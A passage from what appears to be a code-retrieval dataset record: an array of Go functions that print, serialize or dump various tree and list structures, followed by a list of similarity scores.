*RedBlackTree) String() string {\n\treturn stringify.Struct(\"RedBlackTree\",\n\t\tstringify.StructField(\"size\", t.size),\n\t\tstringify.StructField(\"root\", t.root),\n\t)\n}", "func (n *Node) String() string {\n\treturn fmt.Sprintf(\"%t %t %v %s\", n.leaf, n.Dup, n.Hash, n.C)\n}", "func (this *Codec) serialize(root *TreeNode) string {\n var s string \n res:=helpSerialize(root,s)\n fmt.Println(res)\n return res\n}", "func (tree *Tree23) pprint(t TreeNodeIndex, indentation int) {\n\n\tif tree.IsEmpty(t) {\n\t\treturn\n\t}\n\n\tif tree.IsLeaf(t) {\n\t\tif indentation != 0 {\n\t\t\tfmt.Printf(\" \")\n\t\t}\n\t\tfor i := 0; i < indentation-1; i++ {\n\t\t\tfmt.Printf(\"| \")\n\t\t}\n\t\tfmt.Printf(\"|\")\n\t\tfmt.Printf(\"--(prev: %.2f. value: %.2f. next: %.2f)\\n\",\n\t\t\ttree.treeNodes[tree.treeNodes[t].prev].elem.ExtractValue(),\n\t\t\ttree.treeNodes[t].elem.ExtractValue(),\n\t\t\ttree.treeNodes[tree.treeNodes[t].next].elem.ExtractValue())\n\t\treturn\n\t}\n\n\tfor i := 0; i < tree.treeNodes[t].cCount; i++ {\n\t\tc := tree.treeNodes[t].children[i]\n\t\tif indentation != 0 {\n\t\t\tfmt.Printf(\" \")\n\t\t}\n\t\tfor i := 0; i < indentation-1; i++ {\n\t\t\tfmt.Printf(\"| \")\n\t\t}\n\t\tif indentation != 0 {\n\t\t\tfmt.Printf(\"|\")\n\t\t}\n\t\tfmt.Printf(\"--%.0f\\n\", c.maxChild)\n\t\ttree.pprint(c.child, indentation+1)\n\t}\n}", "func Encode(input string) (string, *tree.Node[string]) {\n\t// Create huffman tree and map\n\thTree := getHuffmanTree(input)\n\tprintTree(hTree)\n\thMap := getHuffmanEncodingMap(hTree)\n\tbuilder := strings.Builder{}\n\tfor i := 0; i < len(input); i++ {\n\t\tbuilder.WriteString(hMap[string(input[i])])\n\t}\n\treturn builder.String(), hTree\n}", "func (this *Codec) serialize(root *TreeNode) string {\n if root == nil {\n return \"x\"\n }\n return strconv.Itoa(root.Val) + \",\" + this.serialize(root.Left)+ \",\" + this.serialize(root.Right)\n}", "func (t *ASCIITree) String() string {\n\tvar buffer bytes.Buffer\n\tt.PrintTree(&buffer)\n\treturn string(buffer.Bytes())\n}", "func PrintLevel(node *AsciiNode, x, level int) {\n\tvar i, isLeft int\n\tif node == nil {\n\t\treturn\n\t}\n\n\tisLeft = bool2int(node.ParentDir == -1)\n\tif level == 0 {\n\t\tfor i = 0; i < x-PrintNext-((node.LabelLen-isLeft)/2); i++ {\n\t\t\tfmt.Fprintf(&AsciiBuilder, \"%s\", \" \")\n\t\t}\n\t\tPrintNext += i\n\t\tfmt.Fprintf(&AsciiBuilder, \"%s\", node.Label)\n\t\tPrintNext += node.LabelLen\n\t} else if node.EdgeLen >= level {\n\t\tif node.Left != nil {\n\t\t\tfor i = 0; i < x-PrintNext-level; i++ {\n\t\t\t\tfmt.Fprintf(&AsciiBuilder, \"%s\", \" \")\n\t\t\t}\n\t\t\tPrintNext += i\n\t\t\tfmt.Fprintf(&AsciiBuilder, \"%s\", \"/\")\n\t\t\tPrintNext++\n\t\t}\n\t\tif node.Right != nil {\n\t\t\tfor i = 0; i < x-PrintNext+level; i++ {\n\t\t\t\tfmt.Fprintf(&AsciiBuilder, \"%s\", \" \")\n\t\t\t}\n\t\t\tPrintNext += i\n\t\t\tfmt.Fprintf(&AsciiBuilder, \"%s\", \"\\\\\")\n\t\t\tPrintNext++\n\t\t}\n\t} else {\n\t\tPrintLevel(node.Left, x-node.EdgeLen-1, level-node.EdgeLen-1)\n\t\tPrintLevel(node.Right, x+node.EdgeLen+1, level-node.EdgeLen-1)\n\t}\n}", "func printnode(node *Node) {\n\tp := \"\"\n\tif haspointers(node.Type) {\n\t\tp = \"^\"\n\t}\n\ta := \"\"\n\tif node.Addrtaken {\n\t\ta = \"@\"\n\t}\n\tfmt.Printf(\" %v%s%s\", node, p, a)\n}", "func (f *Forest) dump(t *testing.T) {\n\tt.Logf(\"---------------- TRIE BEGIN ------------------\")\n\tchildNodes := make(map[string]*Node, len(f.nodes))\n\tfor _, n := range f.nodes {\n\t\tfor _, childHash := range n.branches {\n\t\t\tif len(childHash) != 0 {\n\t\t\t\tchildNodes[childHash.KeyForMap()] = f.nodes[childHash.KeyForMap()]\n\t\t\t}\n\t\t}\n\t}\n\n\tfor nodeHash := range f.nodes {\n\t\tif _, isChild := childNodes[nodeHash]; !isChild {\n\t\t\tf.nodes[nodeHash].printNode(\" Ω\", 0, f, t)\n\t\t}\n\t}\n\tt.Logf(\"---------------- TRIE END --------------------\")\n}", "func CreateBinaryTree() {\n\tfmt.Fprintln(os.Stderr, \"CreateBinaryTree\")\n\tvar min1i, min2i, pos1, pos2 int\n\tvar point []int = make([]int, MAX_CODE_LENGTH)\n\tvar code []byte = make([]byte, MAX_CODE_LENGTH)\n\tvar count []int64 = make([]int64, vocab_size*2+1)\n\tvar binaryt []int = make([]int, vocab_size*2+1)\n\tvar parent_node []int = make([]int, vocab_size*2+1)\n\tfor a := 0; a < vocab_size; a++ {\n\t\tcount[a] = int64(vocab[a].cn)\n\t}\n\tfor a := vocab_size; a < vocab_size*2; a++ {\n\t\tcount[a] = 1e15\n\t}\n\tpos1 = vocab_size - 1\n\tpos2 = vocab_size\n\t// Following algorithm constructs the Huffman tree by adding one node at a time\n\tfor a := 0; a < vocab_size-1; a++ {\n\t\t// First, find two smallest nodes 'min1, min2'\n\t\tif pos1 >= 0 {\n\t\t\tif count[pos1] < count[pos2] {\n\t\t\t\tmin1i = pos1\n\t\t\t\tpos1--\n\t\t\t} else {\n\t\t\t\tmin1i = pos2\n\t\t\t\tpos2++\n\t\t\t}\n\t\t} else {\n\t\t\tmin1i = pos2\n\t\t\tpos2++\n\t\t}\n\t\tif pos1 >= 0 {\n\t\t\tif count[pos1] < count[pos2] {\n\t\t\t\tmin2i = pos1\n\t\t\t\tpos1--\n\t\t\t} else {\n\t\t\t\tmin2i = pos2\n\t\t\t\tpos2++\n\t\t\t}\n\t\t} else {\n\t\t\tmin2i = pos2\n\t\t\tpos2++\n\t\t}\n\t\tcount[vocab_size+a] = count[min1i] + count[min2i]\n\t\tparent_node[min1i] = vocab_size + a\n\t\tparent_node[min2i] = vocab_size + a\n\t\tbinaryt[min2i] = 1\n\t}\n\t// Now assign binary code to each vocabulary character\n\tfor a := 0; a < vocab_size; a++ {\n\t\tb := a\n\t\ti := 0\n\t\tfor {\n\t\t\tcode[i] = byte(binaryt[b])\n\t\t\tpoint[i] = b\n\t\t\ti++\n\t\t\tb = parent_node[b]\n\t\t\tif b == vocab_size*2-2 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tvocab[a].codelen = byte(i)\n\t\tvocab[a].point[0] = vocab_size - 2\n\t\tfor b = 0; b < i; b++ {\n\t\t\tvocab[a].code[i-b-1] = code[b]\n\t\t\tvocab[a].point[i-b] = point[b] - vocab_size\n\t\t}\n\t}\n}", "func (tree *BinarySearchTree) String() {\n\ttree.lock.Lock()\n\tdefer tree.lock.Unlock()\n\tfmt.Println(\"************************************************\")\n\tstringify(tree.rootNode, 0)\n\tfmt.Println(\"************************************************\")\n}", "func (this *Codec) serialize(root *TreeNode) string {\n\tif root == nil {\n\t\treturn \"\"\n\t}\n\tvar res string\n\tp := root\n\tq := new(Queue)\n\tq.EnQueue(p)\n\n\tfor !q.IsEmpty() {\n\t\tnode := q.DeQueue()\n\t\tswitch t := node.(type) {\n\t\tcase nil:\n\t\t\tres += \" \"\n\t\tcase *TreeNode:\n\t\t\tres += strconv.Itoa(t.Val)\n\t\t\tq.EnQueue(t.Left)\n\t\t\tq.EnQueue(t.Right)\n\t\tdefault:\n\t\t\tbreak\n\t\t}\n\t}\n\tfmt.Print(res)\n\treturn res\n}", "func printTree(root *client.Node, indent string) {\n\tfor i, n := range root.Nodes {\n\t\tdirs := strings.Split(n.Key, \"/\")\n\t\tk := dirs[len(dirs)-1]\n\n\t\tif n.Dir {\n\t\t\tif i == root.Nodes.Len()-1 {\n\t\t\t\tfmt.Printf(\"%s└── %s/\\n\", indent, k)\n\t\t\t\tprintTree(n, indent+\" \")\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"%s├── %s/\\n\", indent, k)\n\t\t\t\tprintTree(n, indent+\"│ \")\n\t\t\t}\n\t\t\tnumDirs++\n\t\t} else {\n\t\t\tif i == root.Nodes.Len()-1 {\n\t\t\t\tfmt.Printf(\"%s└── %s\\n\", indent, k)\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"%s├── %s\\n\", indent, k)\n\t\t\t}\n\n\t\t\tnumKeys++\n\t\t}\n\t}\n}", "func TestPrintFullTree(t *testing.T) {\n\n\ttree := &Tree{}\n\ttree.insert(10)\n\tstr := printTree(tree.root)\n\ttree.insert(5).\n\t\tinsert(-50).\n\t\tinsert(-75).\n\t\tinsert(80).\n\t\tinsert(60).\n\t\tinsert(30).\n\t\tinsert(55).\n\t\tinsert(85).\n\t\tinsert(15).\n\t\tinsert(75).\n\t\tinsert(-10)\n\tstr = printTree(tree.root)\n\n\tif str != \"10 5 -50 -75 -10 80 60 30 15 55 75 85 \" {\n\t\tt.Errorf(\"Wrong answer of Binary Tree, got: %s, wanted: 10 5 -50 -75 -10 80 60 30 15 55 75 85 \", str)\n\t} else {\n\t\tfmt.Printf(\"Correct! Binary Tree Works with a full Tree\\n\")\n\t}\n}", "func (tree *Tree23) PrettyPrint() {\n\t//fmt.Printf(\"--%d(%.0f)\\n\", tree.root, tree.max(tree.root))\n\ttree.pprint(tree.root, 0)\n\tfmt.Printf(\"\\n\")\n}", "func TestPrint1Tree(t *testing.T) {\n\n\ttree1 := &Tree{}\n\ttree1.insert(2)\n\tstr1 := printTree(tree1.root)\n\tif str1 != \"2 \" {\n\t\tt.Errorf(\"Wrong answer of Binary Tree, got: %s, wanted: 2 \", str1)\n\t} else {\n\t\tfmt.Printf(\"Correct! Binary Tree Works With No Elements!\\n\")\n\t}\n\n}", "func (hn *HeadNode) Print() {\n\tcur := hn.head.index\n\tfor i := 0; i < hn.para[0]; i++ {\n\t\tfmt.Printf(\"%+v \", cur[0].Node)\n\t\tcur = cur[0].index\n\t}\n\tfmt.Println()\n}", "func (p *printer) printStructure(gn *GenericNode) {\n\t// traverse siblings\n\tfor s := gn; s != nil; s = s.next {\n\t\tswitch s.NodeType {\n\t\tcase Declaration:\n\t\t\t// print attributes\n\t\tcase Element:\n\t\t\tif p.pretty {\n\t\t\t\tfmt.Println(\"\")\n\t\t\t}\n\t\t\t// can have children and siblings which must be handled\n\t\t\tfmt.Print(\"<\" + string(s.Name) + \">\")\n\t\t\tp.traverseDepth(s)\n\t\t\tfmt.Print(\"</\" + string(s.Name) + \">\")\n\t\tcase Data:\n\t\t\t// just print and return\n\t\t\tfmt.Print(string(s.Value))\n\t\tcase Cdata:\n\t\t\t// cdata needs to be embedded in a CDATA structure\n\t\t\tfmt.Print(`<![CDATA[` + string(s.Value) + `]]`)\n\t\tcase Comment:\n\t\t\tfmt.Print(\"<!--\" + string(s.Value) + \"-->\")\n\t\tcase Doctype:\n\t\t\tfmt.Print(\"<!DOCTYPE \" + string(s.Value) + \">\")\n\t\t\tp.traverseDepth(s)\n\t\tcase Pi:\n\t\t\tfmt.Print(\"<?\" + string(s.Name) + \" \" + string(s.Value))\n\t\tcase Document:\n\t\t\tp.traverseDepth(s)\n\t\tdefault:\n\t\t\tpanic(\"unknown node type\")\n\t\t}\n\n\t}\n\n}", "func buildPrefixTree(byteFrequencies *dictionary.Dictionary) *huffmanTreeNode {\n\ttree := new(priorityqueue.PriorityQueue)\n\tkeys := byteFrequencies.Keys()\n\n\tfor i := 0; i < keys.Size(); i++ {\n\t\tbyt := keys.MustGet(i)\n\t\tfrequency, _ := byteFrequencies.Get(byt)\n\n\t\ttree.Enqueue(frequency.(int), &huffmanTreeNode{frequency: frequency.(int), value: byt.(byte)})\n\t}\n\n\tfor tree.Size() > 1 {\n\t\taPrio, a := tree.Dequeue()\n\t\tbPrio, b := tree.Dequeue()\n\n\t\tnewPrio := aPrio + bPrio\n\n\t\tnode := &huffmanTreeNode{frequency: newPrio, left: a.(*huffmanTreeNode), right: b.(*huffmanTreeNode)}\n\n\t\ttree.Enqueue(newPrio, node)\n\t}\n\n\t_, root := tree.Dequeue()\n\n\treturn root.(*huffmanTreeNode)\n}", "func stringify(n *BinarySearchNode, level int, builder *strings.Builder) {\n\tif n != nil {\n\t\tformat := \"\"\n\t\tfor i := 0; i < level; i++ {\n\t\t\tformat += \" \"\n\t\t}\n\t\tformat += \"---[ \"\n\t\tlevel++\n\t\tstringify(n.left, level, builder)\n\t\tbuilder.WriteString(fmt.Sprintf(format+\"%d\\n\", n.value))\n\t\tstringify(n.right, level, builder)\n\t}\n}", "func (t *BinaryNode) PrintAscii() {\n\tfmt.Println(t.AsciiBuilder())\n}", "func (m *MerkleTree) String() string {\n\ts := \"\"\n\tfor _, l := range m.Leafs {\n\t\ts += fmt.Sprint(l)\n\t\ts += \"\\n\"\n\t}\n\treturn s\n}", "func (mpt *MerklePatriciaTrie) PrettyPrint(w io.Writer) error {\n\tmpt.mutex.RLock()\n\tdefer mpt.mutex.RUnlock()\n\treturn mpt.pp(w, mpt.root, 0, false)\n}", "func printStates(states []uint8) {\n\tfor node, state := range states {\n\t\tfmt.Printf(\"%d %d\\n\", node, state)\n\t}\n\tfmt.Println()\n}", "func (bpt *BplusTree) writeTree(printLayout bool) {\n\tdefer glog.Flush()\n\tnode, _ := bpt.fetch(bpt.rootKey)\n\tif node == nil {\n\t\tglog.Errorf(\"failed to fetch root key: %v\", bpt.rootKey)\n\t\treturn\n\t}\n\t// Print tree layout.\n\tif printLayout == true {\n\t\tbpt.writeLayout()\n\t}\n\n\t// Go to the left most leaf node and start printing in order.\n\tfor node != nil {\n\t\tif node.IsLeaf {\n\t\t\tbreak\n\t\t}\n\t\tnode, _ = bpt.fetch(node.Children[0].NodeKey)\n\t\tif node == nil {\n\t\t\tglog.Errorf(\"failed to fetch key: %v\", node.Children[0].NodeKey)\n\t\t\treturn\n\t\t}\n\t}\n\n\tif node == nil {\n\t\tglog.Infof(\"tree is empty\")\n\t\treturn\n\t}\n\n\tindex := 0\n\tfor {\n\t\tglog.Infof(\"leaf node: %d (DK: %v, NK: %v, XK: %v, PK: %v)\\n\",\n\t\t\tindex, node.DataKey, node.NodeKey, node.NextKey, node.PrevKey)\n\t\tfor _, child := range node.Children {\n\t\t\tglog.Infof(\"\\t%v\\n\", child)\n\t\t}\n\n\t\tif node.NextKey.IsNil() {\n\t\t\tbreak\n\t\t}\n\n\t\tif !node.NextKey.IsNil() {\n\t\t\tnextKey := node.NextKey\n\t\t\tnode, _ = bpt.fetch(nextKey)\n\t\t\tif node == nil {\n\t\t\t\tglog.Errorf(\"failed to fetch key: %v\", nextKey)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tindex++\n\t}\n}", "func (qt *Quadtree) Print() {\n\tmaxCoord := Dim(1) << (qt.Level - 1)\n\tfor y := -maxCoord; y < maxCoord; y++ {\n\t\tfmt.Printf(\"%3d: \", y)\n\t\tfor x := -maxCoord; x < maxCoord; x++ {\n\t\t\tfmt.Print(qt.Cell(x, y), \" \")\n\t\t}\n\t\tfmt.Print(\"\\n\")\n\t}\n}", "func (n *Node) Print() string {\n\treturn fmt.Sprintf(\"%+v\\n\", *n)\n}", "func PrintTreeInColor(node core.Node) {\n\tprintTreeInColor(node, 0)\n}", "func (bst *BST) Print(strfn func(interface{}) string) string {\n\treturn PrintBST(bst.Root, strfn)\n}", "func (t *FuncTree) Print(indent int) {\n\tprefix := \"\"\n\tfor i := 0; i < indent; i++ {\n\t\tprefix += \"\\t\"\n\t}\n\tif t.Value() != nil {\n\t\tprint(prefix, \"Value: \")\n\t\tfor _, f := range t.Order() {\n\t\t\tprint(f, \" \")\n\t\t}\n\t\tprintln()\n\t}\n\tif t.Left != nil {\n\t\tprint(prefix, \"Left:\\n\")\n\t\tt.Left.Print(indent + 1)\n\t}\n\tif t.Right != nil {\n\t\tprint(prefix, \"Right:\\n\")\n\t\tt.Right.Print(indent + 1)\n\t}\n}", "func Print() {\n\tfmt.Printf(\"hierarchy, version %v (branch: %v, revision: %v), build date: %v, go version: %v\\n\", Version, Branch, GitSHA1, BuildDate, runtime.Version())\n}", "func PrintNode(n *node) {\n\tfmt.Printf(\"%d: %v\\n\", n.depth, n.value)\n\tif n.left != nil {\n\t\tPrintNode(n.left)\n\t}\n\tif n.right != nil {\n\t\tPrintNode(n.right)\n\t}\n}", "func (t *BinaryNode) AsciiBuilder() string {\n\tvar proot *AsciiNode\n\tvar xmin int\n\tif t == nil {\n\t\treturn AsciiBuilder.String()\n\t}\n\n\tproot = BuildAsciiTree(t)\n\tFillEdgeLen(proot)\n\n\tfor i := 0; i < proot.Height; i++ {\n\t\tLprofile[i] = math.MaxInt32\n\t}\n\tComuputeLprofile(proot, 0, 0)\n\txmin = 0\n\tfor i := 0; i < proot.Height; i++ {\n\t\txmin = Min(xmin, Lprofile[i])\n\t}\n\n\tif proot.Height > MaxHeight {\n\t\tfmt.Printf(\"The tree is too fucking high than %d! how high do you want to be?\\n\",\n\t\t\tMaxHeight)\n\t}\n\tfor i := 0; i < proot.Height; i++ {\n\t\tPrintNext = 0\n\t\tPrintLevel(proot, -xmin, i)\n\t\tfmt.Fprintf(&AsciiBuilder, \"%s\", \"\\n\")\n\t}\n\ts := AsciiBuilder.String()\n\tAsciiBuilder.Reset()\n\treturn s\n}", "func (l *hierLayer) printCurrentState() {\n\tl.printElement(*l.root, 0)\n}", "func dump(n *yamlast.Node, indent string) {\n\tfmt.Fprintf(os.Stderr, \"%s\\n\", fmtNode(n, indent))\n\tfor _, c := range n.Children {\n\t\tdump(c, indent+\" \")\n\t}\n}", "func (t *Trie) PrintNode(n string) {\n\tdata, _ := t.db.Get([]byte(n))\n\td := DecodeNode(data)\n\tPrintSlice(d)\n}", "func doPrintTree(cmd *cobra.Command, args []string) {\n\tassembly, err := model.LoadAssembly(applicationSettings.ArtifactConfigLocation)\n\tif err != nil {\n\t\tmodel.Fatalf(\"tree failed, unable to load assembly descriptor:%v\", err)\n\t}\n\tfmt.Println(\"|\", assembly.StorageBase())\n\tfor _, each := range assembly.Parts {\n\t\tfmt.Println(\"|-- \", each.StorageBase())\n\t}\n}", "func (t *Trie) String() string {\n\treturn t.Tree().Print()\n}", "func (o *Octree) String() string {\n\treturn fmt.Sprintf(\"Root: %T, leafs: %v\", o.root, o.root.(*node).leafs)\n}", "func (f *Forest) ToString() string {\n\n\tfh := f.height\n\t// tree height should be 6 or less\n\tif fh > 6 {\n\t\treturn \"forest too big to print \"\n\t}\n\n\toutput := make([]string, (fh*2)+1)\n\tvar pos uint8\n\tfor h := uint8(0); h <= fh; h++ {\n\t\trowlen := uint8(1 << (fh - h))\n\n\t\tfor j := uint8(0); j < rowlen; j++ {\n\t\t\tvar valstring string\n\t\t\tok := f.data.size() >= uint64(pos)\n\t\t\tif ok {\n\t\t\t\tval := f.data.read(uint64(pos))\n\t\t\t\tif val != empty {\n\t\t\t\t\tvalstring = fmt.Sprintf(\"%x\", val[:2])\n\t\t\t\t}\n\t\t\t}\n\t\t\tif valstring != \"\" {\n\t\t\t\toutput[h*2] += fmt.Sprintf(\"%02d:%s \", pos, valstring)\n\t\t\t} else {\n\t\t\t\toutput[h*2] += fmt.Sprintf(\" \")\n\t\t\t}\n\t\t\tif h > 0 {\n\t\t\t\t//\t\t\t\tif x%2 == 0 {\n\t\t\t\toutput[(h*2)-1] += \"|-------\"\n\t\t\t\tfor q := uint8(0); q < ((1<<h)-1)/2; q++ {\n\t\t\t\t\toutput[(h*2)-1] += \"--------\"\n\t\t\t\t}\n\t\t\t\toutput[(h*2)-1] += \"\\\\ \"\n\t\t\t\tfor q := uint8(0); q < ((1<<h)-1)/2; q++ {\n\t\t\t\t\toutput[(h*2)-1] += \" \"\n\t\t\t\t}\n\n\t\t\t\t//\t\t\t\t}\n\n\t\t\t\tfor q := uint8(0); q < (1<<h)-1; q++ {\n\t\t\t\t\toutput[h*2] += \" \"\n\t\t\t\t}\n\n\t\t\t}\n\t\t\tpos++\n\t\t}\n\n\t}\n\tvar s string\n\tfor z := len(output) - 1; z >= 0; z-- {\n\t\ts += output[z] + \"\\n\"\n\t}\n\treturn s\n}", "func Display(node *Node) {\n\tfor node != nil {\n\t\tfmt.Printf(\"%v ->\", node.Key)\n\t\tnode = node.next\n\t}\n\tfmt.Println(\"---\")\n}", "func NewEncodingTree(freq map[uint8]uint) *Node {\n\tvar head Node // Fictitious head\n\n\tfor i, v := range freq {\n\t\tnode := &Node{\n\t\t\tvalue: i,\n\t\t\tweight: v,\n\t\t}\n\t\thead.insert(node)\n\t}\n\n\tfor head.next != nil && head.next.next != nil {\n\t\tl := head.popFirst()\n\t\tr := head.popFirst()\n\n\t\tnode := join(l, r)\n\t\thead.insert(node)\n\t}\n\n\t// Fictitious head point to tree root\n\tif head.next != nil {\n\t\thead.next.prev = nil\n\t}\n\treturn head.next\n}", "func (ifd *Ifd) PrintIfdTree() {\n\tifd.printIfdTree(0, false)\n}", "func (head *Node) String() string {\n\tvar sb strings.Builder\n\tseen := make(map[*Node]int)\n\tcurrent := head\n\tdepth := 0\n\tfor current.Next != nil {\n\t\tsb.WriteString(fmt.Sprintf(\"(%v) -> \", current.Data))\n\t\tif d, ok := seen[current.Next]; ok {\n\t\t\tif d == 0 {\n\t\t\t\tsb.WriteString(\"HEAD\")\n\t\t\t\treturn sb.String()\n\t\t\t}\n\t\t\tsb.WriteString(fmt.Sprintf(\"HEAD~%d\", d))\n\t\t\treturn sb.String()\n\t\t}\n\t\tseen[current] = depth\n\t\tcurrent = current.Next\n\t\tdepth++\n\t}\n\tsb.WriteString(fmt.Sprintf(\"(%v)\", current.Data))\n\treturn sb.String()\n}", "func PrintSorted(node *Node) {\n\tif node != nil {\n\t\tPrintSorted(node.Left)\n\t\tfmt.Println(node.Value)\n\t\tPrintSorted(node.Right)\n\t}\n}", "func (l *List) printNodes() {\n\tlist := l.head\n\tif list != nil {\n\t\tfmt.Print(list.key, \" \")\n\t\tlist = list.Next\n\t\tprintNodes(list)\n\t}\n}", "func (this *Codec) serialize(root *TreeNode) string {\n\tif root == nil {\n\t\treturn \"nil\"\n\t}\n\treturn strconv.Itoa(root.Val) + \",\" + this.serialize(root.Left) + \",\" + this.serialize(root.Right)\n}", "func (bst *BST) PrintAll() {\n traverse(bst.root, print_node)\n}", "func (G Graph) Print() {\n\tvar buffer bytes.Buffer\n\tfor node, neighbors := range G {\n\t\tbuffer.WriteString(fmt.Sprintf(\"Node %d: %v\\n\", node, neighbors))\n\t}\n\tfmt.Println(buffer.String())\n}", "func (treeNode *TreeNode) PrintInOrder() {\n\tif treeNode == nil {\n\t\treturn\n\t}\n\n\ttreeNode.left.PrintInOrder()\n\tfmt.Println(treeNode.value)\n\ttreeNode.right.PrintInOrder()\n}", "func (this *Codec) serialize(root *TreeNode) string {\n\tif root == nil {\n\t\treturn \"\"\n\t}\n\tans := make([]string, 0, 10)\n\tserialize(root, &ans)\n\n\treturn strings.Join(ans, \",\")\n}", "func (n Node) String() string {\n\tstr := \"\"\n\tn.FuncDownMeFirst(0, nil, func(k Ki, level int, d interface{}) bool {\n\t\tfor i := 0; i < level; i++ {\n\t\t\tstr += \"\\t\"\n\t\t}\n\t\tstr += k.Name() + \"\\n\"\n\t\treturn true\n\t})\n\treturn str\n}", "func (p *Index) Print() {\n\tfmt.Println(strings.Repeat(\"#\", p.Level), p)\n\tfor _, c := range p.Children {\n\t\tc.Print()\n\t}\n}", "func main() {\n\torbits := tree{}\n\n\tif len(os.Args) < 2 {\n\t\tlog.Fatalf(\"Missing parameter, provide file name!\")\n\t\treturn\n\t}\n\n\t// raw reading of the file\n\tdata, err := ioutil.ReadFile(os.Args[1])\n\tif err != nil {\n\t\tlog.Fatalf(\"Can't read file: %v\\n\", os.Args[1])\n\t\tpanic(err)\n\t}\n\n\t// take the read file and convert it from strings to ints\n\tfor _, line := range bytes.Split(data, []byte(\"\\n\")) {\n\t\tplanets := strings.Split(strings.TrimSpace(string(line)), \")\")\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Could not extract planets from line. %v\\n\", err)\n\t\t}\n\n\t\torbits[planets[0]] = append(orbits[planets[0]], planets[1])\n\t}\n\n\tspew.Dump(\"Result:\")\n\t//\tspew.Dump(orbits)\n\n\t//\tfmt.Printf(\"nodes:%d\\n\", orbits.height(\"COM\"))\n\t//\tfmt.Printf(\"count:%d\\n\", orbits.count(\"COM\", 0))\n\tfmt.Printf(\"p:%v\\n\", orbits.parent(\"B\"))\n\tfmt.Printf(\"p:%v\\n\", orbits.parent(\"COM\"))\n\tfmt.Printf(\"q:%v\\n\", orbits.ancestry(\"YOU\"))\n\tfmt.Printf(\"q:%v\\n\", orbits.ancestry(\"SAN\"))\n\tfmt.Printf(\"q:%v\\n\", orbits.transfers(\"YOU\", \"SAN\"))\n\n}", "func (t *Tree) Dump() {\n\tt.Root.Dump(0, \"\")\n}", "func main() {\n\tfmt.Println(genNumTreesDP(5))\n}", "func (t *Tree) PrintAllOutputs() {\n\tt.Print()\n\tfmt.Println(\"Checking if tree is BST or not: \", t.CheckBST())\n\tfmt.Println(\"Printing breadth first traversal for Tree....\")\n\tbreadthFirstTraversal(t.r)\n\tfmt.Println()\n\tfmt.Println(\"Printing pre-order traversal for Tree....\")\n\tpreOrderTraversal(t.r)\n\tfmt.Println()\n\tfmt.Println(\"Printing in-order traversal for Tree....\")\n\tinOrderTraversal(t.r)\n\tfmt.Println()\n\tfmt.Println(\"Printing post-order traversal for Tree....\")\n\tpostOrderTraversal(t.r)\n\tfmt.Println()\n\tfindMin(t.r)\n\tfindMax(t.r)\n\tfmt.Println(\"Finding element 8: \", findNode(t.r, 8))\n}", "func TestPrintEmptyTree(t *testing.T) {\n\n\ttree := &Tree{}\n\tstr := printTree(tree.root)\n\tif str != \"\" {\n\t\tt.Errorf(\"Wrong answer of Binary Tree, got: %s, wanted: \", str)\n\t} else {\n\t\tfmt.Printf(\"Correct! Binary Tree Works With 1 Element!\\n\")\n\t}\n}", "func compressPrefixTree(root *huffmanTreeNode, to *vector.Vector) {\n\tswitch isLeafNode(root) {\n\tcase true:\n\t\tto.Append(byte(1))\n\t\tto.Append(root.value)\n\tcase false:\n\t\tto.Append(byte(0))\n\t\tcompressPrefixTree(root.left, to)\n\t\tcompressPrefixTree(root.right, to)\n\t}\n}", "func (this *Codec) serialize(root *TreeNode) string {\n\tstrList := make([]string, 0)\n\tvar solve func(root *TreeNode)\n\tsolve = func(root *TreeNode) {\n\t\tif root == nil {\n\t\t\tstrList = append(strList, \"$\")\n\t\t\treturn\n\t\t}\n\t\tstrList = append(strList, strconv.Itoa(root.Val))\n\t\tsolve(root.Left)\n\t\tsolve(root.Right)\n\t}\n\tsolve(root)\n\tfmt.Println(strings.Join(strList, \",\"))\n\treturn strings.Join(strList, \",\")\n}", "func PrettyPrint(graph *Graph) {\n\tfmt.Println(graph.Name)\n\tfmt.Println(\"\")\n\tstr := recursiveString(graph.Root, 0, true)\n\tfmt.Printf(\"%s\", str)\n}", "func (t *Tree) Debug(l *log.Logger) {\n\tl.Println(\"tree:\")\n\tn := t.root\n\tfor i := 0; len(n.children) > 0; i++ {\n\t\tl.Printf(\" depth=%d [%s]:\", i, n.step)\n\t\tsort.Stable(byPriority(n.children))\n\t\tsort.Stable(byRuns(n.children))\n\t\tfor _, c := range n.children {\n\t\t\tl.Printf(\" step=%s [%f] P=%f runs=%d weight=%f\", c.step, float64(c.weight)/float64(c.runs), c.priority, c.runs, c.weight)\n\t\t}\n\t\tn = n.children[0]\n\t}\n}", "func (this *Codec) serialize(root *TreeNode) string {\n\tnodeValues := []int{}\n\t// preoder 노드 탐색\n\t_to_string(root, &nodeValues)\n\n\t// 노드 값을 공백으로 구분한 스트링으로 리턴\n\tr := \"\"\n\tfor i := 0; i < len(nodeValues); i++ {\n\t\tr += fmt.Sprintf(\"%d \", nodeValues[i])\n\t}\n\treturn strings.TrimSpace(r)\n}" ]
[ "0.67556983", "0.65548545", "0.64473444", "0.6355353", "0.63495487", "0.63421017", "0.62907606", "0.62621576", "0.6245571", "0.6230869", "0.6198465", "0.6188055", "0.6176889", "0.61548245", "0.6044016", "0.59704137", "0.59682196", "0.5926465", "0.59260035", "0.59055454", "0.58970934", "0.5832905", "0.58179575", "0.58158755", "0.57992095", "0.57807374", "0.57676744", "0.5759043", "0.5746718", "0.5742581", "0.57301325", "0.5728372", "0.5705874", "0.5697544", "0.5676861", "0.5670609", "0.56488246", "0.5639965", "0.56367946", "0.5608168", "0.5605383", "0.55896306", "0.55847126", "0.55557233", "0.5551027", "0.55446154", "0.5525489", "0.55224246", "0.551474", "0.5512652", "0.55009663", "0.5498368", "0.54859525", "0.5485687", "0.54851425", "0.5483433", "0.5478819", "0.5476594", "0.54705346", "0.5466617", "0.54619527", "0.54578656", "0.54578525", "0.5453968", "0.5443625", "0.54404724", "0.54336166", "0.54162586", "0.5415615", "0.53979254", "0.5390561", "0.53861755", "0.53784037", "0.5353866", "0.53456116", "0.5344554", "0.5334083", "0.5327904", "0.53098863", "0.53091425", "0.52981377", "0.529483", "0.52892166", "0.5279183", "0.52751046", "0.5270566", "0.5265674", "0.52470684", "0.524456", "0.5244506", "0.52357894", "0.5226405", "0.5223745", "0.52173597", "0.5212487", "0.5211212", "0.5209171", "0.5205719", "0.5194555", "0.51944226" ]
0.69969803
0
